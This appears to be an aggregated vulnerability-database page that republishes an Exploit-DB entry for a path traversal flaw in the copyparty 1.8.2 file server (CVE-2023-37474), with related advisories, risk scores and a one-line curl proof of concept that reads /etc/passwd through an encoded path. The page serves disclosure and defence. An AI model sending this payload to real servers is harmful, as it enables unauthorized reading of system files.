copyparty 1.8.2 - Directory Traversal

🗓️ 28 Jul 2023 00:00:00Reported by Vartamtezidis TheodorosType

exploitdb🔗 www.exploit-db.com👁 318 Views

Copyparty 1.8.2 - Directory Traversal vulnerabilit

Reporter	Title	Published	Views	Family All 17
0day.today	copyparty 1.8.2 - Directory Traversal Vulnerability	28 Jul 202300:00	–	zdt
Circl	CVE-2023-37474	14 Jul 202316:28	–	circl
CNNVD	Copyparty 路径遍历漏洞	14 Jul 202300:00	–	cnnvd
CVE	CVE-2023-37474	14 Jul 202319:55	–	cve
Cvelist	CVE-2023-37474 Path traversal in copyparty	14 Jul 202319:55	–	cvelist
Github Security Blog	copyparty vulnerable to path traversal attack	14 Jul 202321:59	–	github
Nuclei	Copyparty <= 1.8.2 - Directory Traversal	3 Jun 202606:04	–	nuclei
NVD	CVE-2023-37474	14 Jul 202320:15	–	nvd
OSV	CVE-2023-37474 Path traversal in copyparty	14 Jul 202319:55	–	osv
OSV	GHSA-PXFV-7RR3-2QJG copyparty vulnerable to path traversal attack	14 Jul 202321:59	–	osv

# Exploit Title: copyparty 1.8.2 - Directory Traversal
# Date: 14/07/2023
# Exploit Author: Vartamtzidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.2
# Version: <=1.8.2
# Tested on: Debian Linux
# CVE : CVE-2023-37474




#Description
Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.

#POC
curl -i -s -k -X  GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'

28 Jul 2023 00:00Current

7.5High risk

Vulners AI Score7.5

CVSS 3.17.5

CVSS 37.5

EPSS0.89933

SSVC